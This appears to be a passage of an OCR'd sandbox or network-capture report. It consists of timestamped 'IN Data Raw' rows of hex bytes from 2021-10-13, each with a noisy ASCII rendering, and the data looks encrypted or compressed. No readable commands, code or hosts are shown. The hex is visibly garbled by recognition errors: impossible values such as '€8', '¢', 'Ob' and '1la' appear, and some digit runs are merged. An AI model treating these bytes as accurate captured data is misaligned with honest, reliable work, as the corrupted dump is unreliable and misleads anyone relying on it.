16 c2 db a4 45 f8 c7 8f a3 7a 6a c7 1f 93 1e c3 ca 0d d9 a3 b7 40 ba 41 e6 76 2d 16 Ob 6f fa 2f df 4b f7 25 43 14 99 1la e4
6d 1c 7c 7a 1d 32 0f 07 a4 c0 4e 8c d5 9f 7f 3c 33 cc 57 e2 f0 27 fb 1c fb c8 8f c9 d6 eb 3f 3a c8 bf 7d 9e a3 bc e2 fc e2 2¢
3274085956 71 42 ac c5 8d 5 df 61 49 56 15 53 02 78 68 15 c8 4c 3a 17 3a e6 76 c3 5f Of 4f 57 95 d5 b6 5e 60 bc 29
8d 18 69 8b d2 09 04 43 33 f1 8a ac 01 a5 8f 3d 8c ae 6b a8 Oe cc a3 59 6f f3 70 08 7d bl fd b3 2b df 6d 27 b2 15 22 72
e3 7 19 af ac 06 81 40 12 bc 26 36 55 34 €8 Oc
Data Ascii: aZ\JpFZKYMH|j}VUWXT#Z:n= ]?2cm5REzj@Av-0/K%Cm|z2N<3W'?:},2tYVgBalVSxhL::v_OW"")iC3=kYop}+m
"r@&6U4

2021-10-13 13:47:09 UTC 103 IN Data Raw: €0 a7 ce a8 3b 39 6b be 21 6¢ el 8e 9e 5d 21 b5 f9 1b c5 6b 09 df db 02 26 c1 db 98 fa 4e 12 ea fd 96 b2 62 26
33 e7d213c007 9d 3c 8c b4 03 e3 cf 03 48 31 59 a2 8d bd 9a 09 d9 a0 a7 02 b1 d7 66 40 fa 65 13 42 13 95 8f 89 43 26
30 72 76 f0 79 22 68 bc db 32 6f 01 51 eb 92 c1 36 15 de 83 84 91 04 e0 76 Oc d9 03 43 c7 e6 5¢ 3¢ 84 3b bl 9f ed fb 2f
b6 4a fc c6 9a 62 49 3e 91 ea 5e 22 40 Oc a5 77 ae 6b c3 fc 90 7e 65 8c eb 37 09 30 6a 69 ba 8f 43 41 e3 47 17 d4 b3 fa
70 59 b3 8e e5 5d 39 47 b8 47 0f 32 11 d7 4c 8e 4f f0 22 c7 41 ec d0 e9 4d 69 49 53 ab 2d Oe 31 7a 6f 59 c8 5b 8e f2 63
2d le 6f 37 25 84 b2 1e 8e 30 84 93 78 17 dc Ob a9 85 b2 el 88 53 69 2f 63 e2 41 b4 1e 6e c7 65 f0 87 de a3 1a 9b b9 89
eb ff 7f ad c2 3a 60 92 33 f1 8c ca 83 b5 69 90 58 50
Data Ascii: ;9k!l]'k&Nb&3<H1Yf@eBC&0rvy'h20Q6vC\<;/Ibl>"'@wk~e70jiCAGPY]9GG2LO"AMIilS-1zoY[c-07%0xSi/
cAne:"3iXP

2021-10-13 13:47:09 UTC 104 IN Data Raw: 13 af 27 05 3 8¢ 3d a8 fc 6 f5 27 20 18 3f da 11 8f 0f 3f cf e2 ac 06 d4 60 bd 3c b8 ac 12 ba 3b Oe 53 38 68 a9
c5 1f ¢1 5d 28 0d d8 71 e5 38 1b 20 8d bd fb 92 78 a5 34 8a a6 74 a4 d9 14 1d 93 87 a2 15 a4 7e bb 64 fb 36 a8 48 48 13
aa 72 cc 32 6d 3d 5e 62 a7 eb b4 bf 5e 2a ce ed 08 ae 08 b7 6a db 17 b3 16 e2 54 f2 7b cb 6f b8 6d 02 26 c7 58 37 c0 aa
51 a2 64 Oc a2 b0 a9 26 da 64 8b a3 12 52 74 e4 3 29 51 63 c9 3f 9e 09 9b c4 87 a5 4c 98 79 2c 62 5¢c 79 57 78 ef 33 ¢3
40 0f 7c c2 bb 4f 4d cf b4 29 03 06 1le 51 d4 7f 78 ef a2 73 94 81 5d 3d 3c 46 b1 81 38 a6 85 92 6¢ 45 b5 30 89 d4 32 7a
07 1b 35 0c 37 e3 25 4a 81 76 9f 67 Of 9a 7b 8¢ 30 40 e8 ad 3f 43 al 8a 67 62 2d 22 c¢6 39 90 bb 92 ab cc 4d 25 bf 5¢ ea
3857 d6 0d f6 Oc d5 85 36 fa fb 83 92 e0 48 54 99
Data Ascii: '=' ??7°<;S8h](q8 x4t~d6HHr2m="b"*T{om&X7Qd&dRt)Qc?Ly,blyWx3@|OM)Qxs]=<F8IE02257%Jvg{0@?Cgb-
"9IM%\8WEHT

2021-10-13 13:47:09 UTC 105 IN Data Raw: b4 22 31 e7 19 6e 17 35 ¢3 €6 03 ¢3 67 ad fO 7d c7 5¢ 51 81 63 48 5f b2 ad f2 94 52 93 c9 6b 5 4c 9e d1 98 87
44 21 b2 37 57 13 d6 1d 27 79 88 dd 0d 6d 99 ca a3 cd 78 1f 66 24 cd 14 f0 28 6b a3 97 00 63 6¢ €2 80 e3 a7 71 b6 5d c6
04 5d aa 8d da c7 cf b8 cfal el 4c a5 1c fa ae 8b c0 71 c5 ec c9 d2 49 89 3c b6 3f 05 af 47 ad bf f8 3c d6 03 10 4f fa 09
95 8b 92 45 4f f8 3f f0 €6 74 70 8¢ d9 8e 0d 73 ed 09 30 7e 7c 8e 00 c5 96 e8 dd 7f 80 75 8f 8e 2f ¢7 9b 7e 77 cc fO ae e
3cecch 3d c7 0a 96 d0 2d 07 ac 2c 82 a0 61 c0 23 b7 54 d5 ac 87 f7 73 4c d3 96 69 a6 d8 14 65 25 87 8d 7b f4 c1 3d Of
c4 c7 ee 28 aa db be b7 44 15 03 fa 54 81 37 e2 dd bd 9c ba 9e dc f7 a0 58 89 9e 83 el 3d 23 52 5d 37 7e fe d3 06 25 1d
ef 9c f1 d8 36 14 Oc 5e a7 8e cd 86 dd b4 3b 42
Data Ascii: "1n5g)\QcH_RKLD!7W'ymxf$(kclg]]Lgl<?G<OEO?tpsO~|u/~w<=-,a#TsLie%{=(DT7X=#R]7~%6";B

2021-10-13 13:47:09 UTC 107 IN Data Raw: 1b 79 39 c2 c3 44 a4 01 d5 51 1d 31 b8 4c 22 c0 65 5d 1c 12 b0 32 07 3e Of ed 9f c6 78 a5 3a a0 d6 92 Of d5
5416 11 80 13 cc b2 b4 22 96 dc 01 60 b2 61 9c bf 12 7b 82 7 e4 3f 39 53 6f ¢6 8d 7f c4 7b 13 7 5a b6 9c 02 f4 54 20 bb
0c 8¢ 79 30 27 ce 71 be 67 5f 61 22 f7 8e 52 0d ab 30 6¢ a9 Oc e 87 el 73 23 03 ca f2 8b ca 45 26 00 76 70 11 06 26 ff
06 6 6¢ 32 c2 3a ef Of 9f d1 f6 db 62 68 f2 7e e9 fd 44 a3 55 a2 17 07 1b 45 63 89 al c5 05 4 dc 19 5d 93 15 19 a6 e2 ee
7e 14 12 4d 95 72 49 af el 9a cc b4 4e 19 2d 54 ff 45 b0 49 da b6 17 87 d2 51 36 Oc 26 29 69 27 29 7e b7 01 3d cb cd c7
fd 4b 36 49 1f 85 1c 21 17 18 6f ec 8e cO 84 49 68 1d 81 a8 d2 3a ac cf 8f 2b 66 44 e5 53 5f a5 4d a9 80 ea 0a 51 5b da ff
86 32 d8 el d6 58 94 8d 63 05 2a 3a ac e2 2e 7f
Data Ascii: yaDQ1L"e]2>x:T" a{?9S0{ZT y0'qg_a"ROIs#E&vp&I2:bh~DUEC]-MrIN-TEIQ6&)i’)~=K6llolh:+fDS_MQ[2Xc*:.

2021-10-13 13:47:09 UTC 108 IN Data Raw: Oc 5b 7b 19 9a d3 7a 9¢ d9 Oc c6 16 07 e4 dd 2a 2e f6 4c d0 f4 50 3e 9b 2b 66 b7 22 d3 ca cO b2 e6 19 26 62
af 09 40 12 54 26 9e 18 74 0 d4 6a 07 ad 36 f9 7d 33 e2 27 53 c4 7b 68 a0 8b 60 24 7e 2f d5 46 3b 29 7c dd 20 31 75 40
la bd 3c 2e fa 81 a3 8¢ 3a 72 44 82 f0 bf 26 6¢ 78 e4 ea d4 99 4d 65 29 01 d5 5e 44 28 07 bd 1b 45 63 b9 f8 f9 20 3a d4
5986 32 73 a4 d9 el 92 21 78 6¢ f2 07 71 05 4b 23 b0 e3 af 3c aa 16 73 4a 63 00 ec 8d b7 59 d2 23 41 6e 02 19 ec e7 {7
6d 08 10 5¢ 58 ba 68 06 0f b7 d4 f5 22 60 5e 4e 43 fb 54 28 86 6 f1 c6 43 ae 35 90 Oc 49 ba f3 aa 3b 09 33 cc 58 74 ed f6
16 e7 cb df 80 c2 4c 84 fc Oc 78 b0 fc a3 4a 74 8b bb bd 88 27 52 14 29 26 3c 6¢ fe ef e0 07 bd ba 88 6a d6 ec 08 ac 59
d3 3e 44 3f 51 5d e6 1c 08 c2 a3 23 fc 20 24 8b 18 Oa
Data Ascii: [{z*.LP>+f"&b@T&tj6}3'S{h"$~/F;)| Lu@<.:rD&IxMe)"D(Ec :Y2s!xIqK#<sJcY#Anm\Xh" " ANCT(C5I;3XtLxJt'R)&
<ljy>D?QJ# $

2021-10-13 13:47:09 UTC 109 IN Data Raw: 87 60 9c 9c 51 fa ba 64 e9 4e 03 09 77 c4 39 08 cd 1e 6b 7 5 fb c2 8f fe 1d 53 41 03 ae e3 a5 63 73 2d 85 52
60 66 99 4d ee e5 bb df 19 d5 34 b8 fc 9e dd 57 9d 99 8c ae f2 f0 60 8f 68 e7 01 fO 38 3d d5 fa 41 e2 8b 4c 2c 1a le df 8a
b1 53 c5 ee a5 6a 5a da cf 88 43 5b Oe d9 fe 71 cf 24 36 78 3e 56 €8 6d ea e4 a8 87 ba 57 12 98 7f b6 c7 2e €6 81 14 56
b6 a3 82 03 d0 a6 0d 41 46 e2 30 94 3b 6d 2d b6 85 Ob €8 1d el b5 e9 6e cl ae 23 d0 11 f8 ¢7 70 f2 59 21 df d0 93 54 50
5e 44 48 e6 e5 68 eb 53 9c ef 6a af Ob ce 79 ef 1e b4 a9 8d 58 24 8a 70 82 05 90 b9 9a 9d 73 33 dO c8 20 ea d9 d5 9f 80
6d 1c 87 4f 39 f8 16 e7 e3 3f a8 28 ¢9 c7 {3 17 3a c9 bb 38 48 6e 1f a5 ab aa b9 3a 7f 6f Oe 61 ea 42 19 7c 8d 5¢c 5c al 81
a9 4b fa 19 48 7c 7f ae 24 bf d2 c6 66 26 ff 88
Data Ascii: ‘QdNw9kSAcs-R fM4W h8=AL,SjZC[q$6x>VmW.VAFO;m-n#pY!TPADHhSjyX$ps3 mO9?(:8Hn:0aB|\KH|$f&

2021-10-13 13:47:09 UTC 111 IN Data Raw: 3 cf 7a d9 f9 8a 9c 46 5e 7f ea fb 69 67 a3 89 2e 93 97 2f 6e ee c1 61 ba a6 d4 c1 13 6 Ob 03 da 5d 7d 51 d9
14 96 74 96 1e Oa 40 9a 84 80 77 4b d8 5f 17 Oa dd 5 7f 5d 84 c2 93 29 ba 5¢ 33 0f b7 23 14 9a c8 bf be ff d0 al 39 84 27
42 2b d2 64 4a 15 e3 3c bl 8e b9 58 e5 4a c0 05 b7 32 3b 64 03 6b 67 78 1d 78 f4 9f 86 27 44 d3 3c 56 7c bf 54 8e Ob 1f
37 84 4e a7 el 72 36 ad 0a 44 0a 30 c3 68 cd 9b ec 91 6d b2 6¢ 39 c7 4c f6 28 bd ac 36 7f fd 3¢ 4d 54 33 69 9f f9 34 c8 37
ec 2a 38 6e 70 c8 de 11 67 98 dd 72 82 f9 ec c8 38 82 67 7a c6 e5 70 34 f6 f4 2b 3b 1a 58 c2 3c d1 66 5d 92 f7 57 89 81
93 f4 ec 7b 40 9f 40 Oa 9d da 60 b4 53 4e a9 84 2a 64 b3 b9 ab ff 22 f4 f4 39 fd 06 66 1e e3 dO c5 c3 42 bb 5f be dd 03 6b
253a0c 84 c8 75 16 25 Of ed a8 e6 63 e2 81
Data Ascii: zF"ig./na}Qt@wK_])\3#9'B+dJ<XJ2;dkgxx'D<V|T7Nr6 DOhmI9L(6<MT3i47*8npgr8gzp4+;X<flw{@@ SN
*d"9fB_k%:u%c
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2021-10-13 13:47:09 UTC 112 IN Data Raw: 37 32 99 21 73 4d c6 c3 f8 41 a8 66 46 c9 2b ff b5 b6 23 36 ee 35 d8 b1 8e 94 de 9b 51 b8 e9 2a 93 78 53 ac 6f
a6 18 7a 3c 78 44 08 8d 93 al 54 83 1a 1a 1d 17 b1 d8 25 10 6e 6e 71 3f 4f 75 c9 36 Of 78 55 d8 ac 1a Of 5b 2d 6d Oe 4a
f0 17 65 c3 fe a4 38 60 Ob Of b9 ac b6 99 28 a7 6e 8b a3 91 7e 2f 07 88 22 e4 34 ab 1c el 1b f8 84 b2 52 8d 43 e6 b5 a6
a2 9c 1109 1c d9 ed 68 39 ca d1 a4 4e bl c3 c6 c7 d1 e3 bb 45 9d b5 06 28 dc 6b cb f1 34 80 46 37 b3 e7 dc 6e d8 ff c7
79 68 ea b5 01 17 d6 5b 25 c0 e5 c9 34 27 64 8e 8a 54 3 78 cd c8 ac 5b 66 4d 47 ea fc 69 c4 5a 49 a7 03 4c 93 dc c4 8
c3 58 f4 68 4e 96 2a 42 c7 d1 2f 30 ee fa 80 af 76 17 03 b5 35 cb cd f7 96 7a 3a 04 3f 70 de ba 22 a1 0d 30 1c 79 70 4c
32 fc 24 bc 57 a3 8 c1 91 8b bb 64 0f bc d2 da 29 62
Data Ascii: 72!sMAfF+#65Q*xS0z<xDT%nnq?0u6xU[-mJe8’ (n~/"4ARChINE(k4F7nyh[%4'dTX[fMGiZILXhN*B/Ov5z:?p"
OypL2$Wd)b

2021-10-13 13:47:09 UTC 113 IN Data Raw: 87 fb 20 c2 99 c6 7c cc 6e 90 40 c1 de 41 ee 5c af 84 32 39 4f 94 59 01 3e 68 3b 6a 5d 5e 27 42 cb 14 14 6a 8¢
9a 7c 29 ce 15 77 c2 9e 6a Oe ae 81 d4 6d dc 1c ed 6d c4 ef ef ca f7 11 fd 51 69 9b cc 92 e5 b7 49 9e 1a 23 38 6a ad cf dc
90 08 89 bb 38 57 4c 53 65 98 57 a9 51 84 7a 14 b5 53 be 3b 0f c2 b9 27 f8 9b d8 fa 0a 56 d6 b7 7 87 d8 17 70 3a Oa 9d
5f cd 49 bd d1 0a 61 43 ff 89 9d 56 dO 84 a9 27 1f bb b6 e0 57 15 24 a9 6f bb de f4 8c da bb 61 b8 14 73 €9 18 a4 1c 80
32 f29c 68 22 c0 3f a0 f2 eb 33 95 9e 60 4e b8 5d f6 92 be d5 b4 aa 97 52 1e 09 Oa 7c ec 2b d0 c3 ca 15 b3 f5 3c 96 a4
9c 19 bc el 36 79 08 2c 62 97 90 €9 66 fd d9 7b 8f 1b bf 55 c0 a5 e9 b2 34 51 80 2f fd 1c €9 80 f4 1c d6 74 e4 7a 06 8a ef
eb 37 9a 5d 3e b6 1b 6f c4 75 36 da 61 bc b8 3f
Data Ascii: [n@A\290Y>h;j]VBj|)wjmmQil#8j8WLSeWQzS;'Vp:_laCV'W$oas2h"?3 N]R|+<6y,bf{U4Q/tz7]>ouba?

2021-10-13 13:47:09 UTC 114 IN Data Raw: a3 cO eb 9d 61 6e e2 94 72 49 70 b8 Ob 89 e7 85 d6 89 02 52 ed a7 44 27 3c 1d 37 df 3b 3a c0 14 92 b9 fa d8
1022 36 62 2b e0 d8 bb 15 05 32 fa d8 df 26 6e d5 fc 66 ca b2 00 e5 6a 68 de 20 ed b5 cd 03 9f 7e 0d 43 b7 56 el 03 a5
57 7f 61 c2 28 25 €0 20 42 5e d7 24 d1 59 al 07 92 c9 ea 60 €8 0d 85 b0 e2 71 90 16 e7 ef d5 ef 16 7a 5¢ 71 36 aa 03 26
a6 2175 67 11 c7 €6 99 13 b1 4e 45 61 3c 93 91 41 8d ba 38 a0 93 al 62 43 ee dc dd 63 b9 e2 d9 d7 23 c5 fc 9a 7d 99
75 a5 e2 9d b6 95 6f b6 7d a9 1b a9 21 25 73 61 04 db 73 71 e7 87 a4 cb 50 c4 9c 33 d4 85 a9 17 25 8f ab 65 e6 03 a3 5f
bc 73 3d 82 7e d9 c6 5a 4b d8 cd c¢7 9d b8 69 90 38 78 69 d9 a6 03 3f a9 64 97 28 6d ed 11 c0 46 ad cb 5c 64 e6 5b 46 ff
62 7f 53 al 01 d2 1a 90 78 Oe 6¢ 7b ac 7b 51 60 ce 51 a2 71
Data Ascii: anrlpRD'<7;:"6b+2&nfjh ~CVWa(% B"$Y qz\q6&!ugNEa<A8bCc#}uo}!%sasqP3%e_s=~ZKi8xi?d(mF\d[F
bSXI{{QQq

2021-10-13 13:47:09 UTC 115 IN Data Raw: 79 10 bc ef 22 8¢ 76 c2 b8 b9 74 d4 ef 21 d8 63 cf 0d fa 42 46 3a 8a 19 4c b5 24 b1 f1 84 77 4b Oe 55 c4 1le 58
eb 77 42 41 el 43 bb 24 c8 86 d9 b7 fe b7 09 47 6¢ 9c fe b3 96 e5 b8 6e 46 5a 5f 3f el 5¢ bf 9b 1f bc 69 20 b9 66 48 c7 1f
ec 08 ff 4b d2 3e 4a be c5 8e 30 c8 a6 6a 2e 5b 63 e2 6d 9e cc ac 9c 9d d2 f9 c2 c¢9 22 00 79 df 6a 4d 2d 3c 48 35 26 {2
27 a2 82 58 d4 3f fe d7 5a 21 d2 d9 49 22 4f 75 28 28 31 a4 fd db f8 03 61 b7 86 9f ac 7a 76 e4 b9 d9 3b 0d 7a 99 81 d8
65 6e 8b 89 01 05 de ce 7c 74 22 9e 53 5b a6 e6 80 f4 1b c0 ba 97 80 a5 e6 3c b2 7e fa b7 be e8 24 06 25 fa c8 47 97 23
c6 30 1b c7 62 10 e4 cd 4e 6a 21 0a 59 d9 31 db d9 1c f4 41 f3 11 65 13 52 20 46 59 5d 17 6e e5 ee 77 f0 b3 10 68 ab dc
c3 cd 3d b9 c3 0c Ob 77 8a 4f Oc ab 8a d1 b8 76 80
Data Ascii: y"vtIcBF:LSWKUXWBACS$GINFZ_?\i fHK>JO0j.[cm"yjM-<H5&'X?Z!I"Ou((1azv;zen|t"S[<~$%G#0bNj!Y1AeR
FY]nwh=wOv

2021-10-13 13:47:09 UTC 116 IN Data Raw: ea 2e 86 d8 5e 8b f3 cd a4 ea 09 49 a9 21 56 ba 25 4d 14 8d 40 54 d6 2c 63 b3 52 fe 03 f8 d9 ff 5a 3c ad dd 48
28 ba af e0 46 eb 4d b6 c6 d7 45 f1 15 6d ac 22 b9 4c Oe 91 d9 62 55 6a 3f 8b 0f b0 08 b9 4d 6e b3 72 75 cc €9 64 63 24
8f 5d 0a 01 16 b4 81 f8 71 51 dc 19 46 4c fd d9 24 61 b1 65 53 ¢9 40 09 e7 65 b0 f5 b6 99 bc 9f bf 32 55 73 a9 90 ¢8 1d 4e
a4 38 67 €9 79 be b7 82 72 1e 82 db fd 5d 60 9c 5a 1e 87 0d 58 b3 a9 ee e7 6f e5 a7 4d 61 28 db 5f fa 9f 82 ed 72 96 47
84545284 2¢ 8250 9c e9 c1 46 a2 3e 38 0f e7 {7 ¢9 68 14 a7 03 3e b9 9b 77 Oe dc cO 74 39 03 90 e6 b7 69 5f Ob 46 b8
bb 7c bf f8 7a 2d 32 13 8d 76 1e 9a d2 ce 87 7f 2a bc 83 94 83 41 e8 90 a7 7a a8 f6 ¢3 Oa Oa 19 df bl 3b 7d c4 7f 53 2f 2d
3a 725743 ac 1b a5 18 a5 d6 b6 b8 71 00 ad db
Data Ascii: MIV%M@T,cRZ<H(FMEm"LbUj?Mnrudc$]qQFL$aeS@e2UsN8gyr] ZXoMa(_rGTR,PF>8h>wt9i_F|z-2v*Az;}
S/-:rWCq

2021-10-13 13:47:09 UTC 118 IN Data Raw: Oc 6a 10 7f f3 15 b0 39 e8 f5 f2 29 €0 bb 86 18 10 4f 83 d7 28 f1 74 Oe 52 8 80 81 14 bc a8 6 87 03 b5 d7 4c
38 30 07 55 6b 6€ €8 ed 52 a7 75 21 4f b5 €9 67 b2 c1 16 78 25 60 09 22 19 38 8 49 f1 7c €8 1e ea 65 28 56 ef 28 bd Ob
8d ac 9a 3a 02 e7 8e 95 al f7 06 27 34 7b be 20 73 13 a2 c3 31 ae 74 84 85 3 2a ba 7a d8 64 c6 27 95 61 4f €9 d2 3b €5
46 ad 43 4 c0 6e 1b f6 €2 ed 1d 77 ac 8b 77 30 65 18 08 64 70 3 €6 3b 1f 47 df b0 44 80 27 d2 93 80 c7 14 41 32 19 Of
€0 bc b5 72 ¢6 d2 dd 15 5¢ 2b 7d da 51 21 ba 6¢ 6¢ df cf €0 f2 5b f1 be a8 35 85 Ob 8d 64 4c 28 30 cf 98 98 14 6e 12 57
11 d1 el 63 cc 56 d8 ba 5e 70 57 51 d5 b2 ed fd 52 45 bf c1 62 80 15 f5 2f ca a4 f8 41 60 0a 82 66 43 7f 15 cf 51 b8 df 57
0b b3 71 a9 €3 05 df 93 4e 86 79 4 c8 18 95 22 37
Data Ascii: j9)O(tRL80UKNRU!Ogx% "8lle(V(:4{ s1t*zd'a0;FCnwwOedp; GD'A2n+}QII[5dL(ONWCVAPWQRED/A'f
CQWQNy'7

2021-10-13 13:47:09 UTC 119 IN Data Raw: 84 ac 90 56 49 26 {7 4a 55 a3 d4 b6 f6 83 b8 df 44 31 9b 8c bf ae 3c 3b bc 7e c7 be d1 98 2a a8 63 64 28 92 49
1d 61 9b 13 f9 bc 08 26 de 71 30 95 72 c0 8b c0 73 27 7f af a0 7f b5 76 6f 44 75 e fc 45 c9 47 33 06 b6 Of 74 16 49 4a 95
Of ad 69 d8 38 09 b1 ac b6 b3 fa e4 26 6e 91 b3 4d 71 82 4d 36 16 ff 51 2b d5 c0 d2 8a f6 d6 e6 b7 cf c2 91 ac f7 9c df 4a
e4 19 56 2c e4 33 d4 8a 1a 52 96 18 44 24 70 e5 9e a6 15 96 €9 01 79 ab b4 2b 7c 8f 86 80 ae fb 2b 00 14 cb al 22 17 ef
dd a5 70 18 8 b2 5f 07 ¢3 31 3f 10 72 ab b1 26 d5 63 18 d4 ee fd 2d f0 58 el 5b 27 be 33 fc 27 fa ce 87 1b fa 8f 7d 41 22
62 0a e7 68 c4 7d 23 f3 90 ea 72 32 66 1c f6 2b f8 46 57 29 6e 64 d2 a4 f7 4a 82 07 aa 63 d7 14 05 d1 5d 58 53 5a 9b 4d
67 fc 5b 2c 41 €9 c7 ec 4a 98 de 38 8¢ 01 c5
Data Ascii: VI&JUD1<;~*cd(la&q0rs'voDUEG3tlJi8&nMgqM6Q+JV,3RD$py+|+"p_12r&c-X['3TA"bh}#r2f+FW)ndJc]X
SZMg[,AJ8

2021-10-13 13:47:09 UTC 120 IN Data Raw: 69 2f 85 37 66 56 2b 85 99 21 d2 ce c2 17 73 18 c6 f8 92 47 b7 57 01 4c 44 cd 27 ac 19 7c eb af el 2c ea 44
8e f8 3b d0 7d 48 5d 2e €9 a2 dc a3 28 6¢ 67 69 fa el 79 86 72 16 64 71 32 fc ce 4b 83 2f 7b dd 47 e5 25 4d 3e a3 Of 5e 9f
eaab5 21 e7 f5e8 b0 a6 76 6d Of 79 9e ed d9 87 86 al 09 01 15 05 7e 87 2e 40 a3 57 2d 8a el b8 01 3a 72 a7 95 d9 b9 8f
737556 66 de 9c d7 09 18 58 b1 44 73 f0 3c 3c 79 a6 7f 52 f6 bb 14 07 60 42 78 bc e3 a0 be db aa e3 72 33 c1 74 {3 of
52 fc 15 e6 d8 1a 02 d6 15 c3 69 ad 58 Oc 02 2d 07 ff 69 a0 73 9d 80 8f 92 2e cf 66 cb 40 31 57 a7 fe cf Of 10 8e cc a2 ff
a6 60 b5 08 d2 ec 11 da f4 3b 31 d8 6¢ f5 37 97 79 50 fe d2 6e 08 ea 75 17 30 33 83 ad Ob 27 d3 83 74 fd bf Of b4 80 e7
71 fe 6a bf ce €9 99 ac 52 9d 14 1d a8 4f 52 36 d7
Data Ascii: i/7fV+!sGWLD'[,D;}H].(Igiyrdg2K{G%M>MNvmy~. @W-:rsuVfXDs<<yR'Bxr3tRiX-is.f@1W";117yPnu03'tqjROR6

2021-10-13 13:47:09 UTC 121 IN Data Raw: 9b 9d 9 f9 c6 b6 7e 11 7b 20 cc ¢3 d9 8f 43 d4 09 d5 13 79 52 8a 81 a0 4e 0d a6 f4 5¢ 07 ed ac 53 d4 06 3d e4
7c ea ff 5a €8 d8 6d 69 16 af 6f 9d 76 49 da 9f e8 14 ea 52 84 1e 13 38 19 5d e7 cc 97 8a 17 82 73 6e 9e 27 34 be 76 71
77 0a d0 60 67 6d 18 cc 34 9c de 3c 2a 46 41 ae 8f 3b 14 49 7f 4b 87 44 7f 6e fc f4 Of 9d 61 0 4d 8b 43 al aa b0 5c c2 cf
94 62 34 b6 46 34 70 d6 c7 a6 16 al 31 a6 7b 8d 85 f3 50 8a 72 40 f4 11 17 66 6¢ 42 74 98 04 29 7b 9c 50 41 e be 40 e4
5e 1b e3 16 60 b5 60 42 e3 5¢c 04 b5 73 b9 8f 39 f3 1e 98 7a 51 65 02 ae d6 b5 cO 4d c1 28 2c 4c 94 57 6a cf a8 c7 9f 24
01 2f57 d2 33 56 7c 59 50 54 5¢ 57 84 7a 5b 96 40 5e e6 12 ca 72 ¢5 90 1a 6d 7c cf 1b c9 29 f0 87 e6 f6 2¢ 71 4a d2 f1
28 46 51 92 9f 15 3e 88 dc 24 d6 35 ce b7 a8 d8 d3
Data Ascii: ~{ CyRN\S=|ZmiovIR8]sn'4vqw gm4<*FA;IKDnaMC\b4F4p1{Pr@fIBt)}{PA@" "B\s9zQeM(,LWj$/W3V|YPT
\Wz[@"rm|),qJ(FQ>$5
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:47:09 UTC 123 IN Data Raw: 40 99 ee d9 ac 52 5¢ 11 9d 2e c8 cc al 46 47 84 7a d4 01 e7 63 9d ad 72 cc b9 60 f2 bd ec ac a7 2c 04 25 18
6f 4f 08 ef 71 55 a3 44 e4 20 c7 3f 57 96 78 67 €0 d1 da f1 b3 45 5b 66 4d 1a 71 68 8d ca 16 1f be d3 35 64 8b 28 47 le
3c 48 ec 41 3 90 89 13 8e 5b 10 d2 8f 37 db c2 af f9 29 e0 60 59 Oc 55 f8 a0 08 03 2a a8 e6 dd 29 c9 80 de fc c5 a0 01
3c 79 7f b7 61 11 68 25 28 87 f3 25 bf 02 fc b6 8f 01 7a b8 18 93 b5 72 03 05 3f 4e be b8 7f 4f 82 41 37 85 Oa e5 Oe cb f6
3c 04 8a 01 3f f4 ec b6 9f 89 62 2d a9 93 79 d8 96 a5 31 90 4c ce d6 5d a9 a2 92 4a cd ed 9a 14 47 59 ba 66 71 8d a4 f8
30 a2 4e 13 68 d3 45 63 37 76 35 43 24 28 31 ch 81 Oc 7a 2c d5 93 58 8e 35 23 fc 89 c0 50 b6 b6 al 73 e4 6d c9 44 02 6d
08 dd 09 61 01 91 51 f2 4c 88 f3 af 1b 98 df 44 e8 e6
Data Ascii: @R\.FGzcr’,%00qUD ?WxgE[fMgh5d(G<HA[7)"YU*)<yah%!(%zr?NOA7<?b-y1L]JGYfqONhEc7v5C$(1z, X5#P
smDmaQLD

2021-10-13 13:47:09 UTC 124 IN Data Raw: de c4 26 01 89 c6 06 ed 40 2d a3 Oa cd d1 Oe a3 66 22 2f f1 32 29 c7 fd 10 67 06 41 28 55 3c 35 55 78 af 29 89
3c 09 98 b6 95 09 17 3e 9b 1c 4e 00 06 3a 2e b4 0f 60 9b 12 d6 c5 el cc 00 55 e2 98 20 54 3 75 3d 70 ca 38 b1 40 f1 cO
dd ce 6d ac 61 d2 78 59 19 1c ad 06 5c cc a5 96 b6 6¢c ae 97 2e 1d 35 19 e6 ec d9 c7 67 14 a7 d3 4d 5f af 08 4c b1l 6 af
40 8b a0 c2 d7 10 35 1d 69 1f c0 78 8c 82 2e 7f eb c9 59 18 d4 df 2e b0 55 4f b5 36 9b 4c 6¢ ee 19 cb 59 f9 ac 86 36 66
93 41 54 87 5a a9 df 70 1a al 44 23 b0 56 0d e3 cc b5 24 bl c1 8f €9 88 0d 1f ea f7 39 2e 56 9f a9 9b 1f 62 fd 6e ea ac 2a
db 4a c9 1b f7 21 08 e8 b5 7d ba 88 25 42 b7 74 db c6 83 df 3c 7 c2 d5 2a 18 3c f6 42 42 d7 52 bd 98 24 74 61 cc fa 31
3991 f4 a8 17 al 8a 3a ed 35 77 65 df 74 d4 99 dO
Data Ascii: &@-f"/2)gA(U<5Ux)<>N:."U Tu=p8@maxY\l.5gM_L@5ix.Y.UO6LIY6EfATZpD#V$9.Vbn*J!}%Bt<*<BBR$tal
9:5wet

2021-10-13 13:47:09 UTC 125 IN Data Raw: ba 1b d8 3d ae 67 28 53 1d 96 5d e0 3f 8d 86 76 24 55 e3 10 ee 37 64 18 f5 e5 4d 5f 6b d5 be 11 a7 3e ed dc
2a 03 do db 39 d3 37 6b 60 32 fd 44 3b 3b a0 ec 7f 58 36 44 01 93 80 76 96 64 b0 41 1c b7 1f 13 8e 5f aa 03 f4 45 58 37
a3 e9 7b f7 76 38 7e ae Ob 98 04 87 8e 5f d4 58 99 49 73 14 88 f5 ed 9d 3f a8 5d 3c 5e ca a0 7a e6 37 a7 fd 50 e2 16 al
47 3a 4c fabe c0 5d 12 04 ff 03 b4 9d b5 2¢ 41 7e d7 82 Of b5 c5 64 54 8b 29 8¢ 7c 72 3e 65 24 10 36 08 02 el ca 45 68
45 dc 3e e5 1b 9e 44 10 18 e2 dd 46 47 83 dc f2 76 2e d7 4e c4 cb 98 fa b6 e2 6¢ 28 el 6¢ 34 86 50 aa b4 8c 4c dd b9 53
a8 2b d0 4a f2 66 5c¢ f0 58 3a 4c 7a 79 6a 7d 20 99 67 €0 4e f7 57 03 d4 49 3d d5 07 be 65 06 1c 2f 9c ef d8 cc 95 Ob b7
c6 a5 09 ab 1f ca 9a 43 7c 32 d3 46 82 32 f5 ba 4f d1 35
Data Ascii: =g(S]?v$U7dM_k>*97k 2D;;X6DvdA_EX7{v8~_XIs?]<"z7PG:L],A~dT)|r>e$6EhE>DFGV.NI(I4PLS+Jf\X:Lzyj}
gNWI=e/C|2F205

